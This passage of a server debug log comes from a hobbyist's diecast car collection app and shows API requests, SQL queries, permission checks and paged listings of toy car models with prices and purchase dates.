  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T06:12:22.606Z server-connect:app Executing action step select
2026-02-04T06:12:22.606Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T06:12:22.606Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 133,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 125 },
    current: 1,
    total: 6
  },
  data: [
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 150,
      model_name: 'Dodge Charge',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-15T18:30:00.000Z',
      price: '199.00',
      brand: 'Jams Toys',
      series: 'Mainline',
      brand_id: 191,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 149,
      model_name: "Fish'd & Chip'd",
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Spider Man',
      vehicle_brand_id: 183,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 148,
      model_name: '92 Jeep Wrangler Sahara',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-22T18:30:00.000Z',
      price: '545.00',
      brand: 'Hotwheels',
      series: 'HW Pop Culture',
      brand_id: 71,
      series_id: 181,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:12:22.607Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T06:12:23.960Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:12:23.960Z server-connect:app Executing action step identify
2026-02-04T06:12:23.960Z server-connect:app options: { provider: 'security' }
2026-02-04T06:12:23.961Z server-connect:output identity: 1
2026-02-04T06:12:23.961Z server-connect:app Executing action step restrict
2026-02-04T06:12:23.961Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:12:23.961Z server-connect:output restrict: undefined
2026-02-04T06:12:23.961Z server-connect:app Executing action step paged
2026-02-04T06:12:23.961Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:12:23.964Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 126,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 125 },
    current: 1,
    total: 6
  },
  data: [
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 150,
      model_name: 'Dodge Charge',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-15T18:30:00.000Z',
      price: '199.00',
      brand: 'Jams Toys',
      series: 'Mainline',
      brand_id: 191,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 149,
      model_name: "Fish'd & Chip'd",
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Spider Man',
      vehicle_brand_id: 183,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 148,
      model_name: '92 Jeep Wrangler Sahara',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-22T18:30:00.000Z',
      price: '545.00',
      brand: 'Hotwheels',
      series: 'HW Pop Culture',
      brand_id: 71,
      series_id: 181,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:12:24.567Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:12:24.567Z server-connect:app Executing action step identify
2026-02-04T06:12:24.568Z server-connect:app options: { provider: 'security' }
2026-02-04T06:12:24.568Z server-connect:output identity: 1
2026-02-04T06:12:24.568Z server-connect:app Executing action step restrict
2026-02-04T06:12:24.568Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:12:24.568Z server-connect:output restrict: undefined
2026-02-04T06:12:24.568Z server-connect:app Executing action step paged
2026-02-04T06:12:24.568Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:12:24.570Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:12:35.232Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T06:12:35.233Z server-connect:app Executing action step identify
2026-02-04T06:12:35.233Z server-connect:app options: { provider: 'security' }
2026-02-04T06:12:35.233Z server-connect:output identity: 1
2026-02-04T06:12:35.233Z server-connect:app Executing action step restrict
2026-02-04T06:12:35.233Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:12:35.233Z server-connect:output restrict: undefined
2026-02-04T06:12:35.233Z server-connect:app Executing action step condition
2026-02-04T06:12:35.233Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T06:12:35.233Z server-connect:app Executing action step update
2026-02-04T06:12:35.233Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
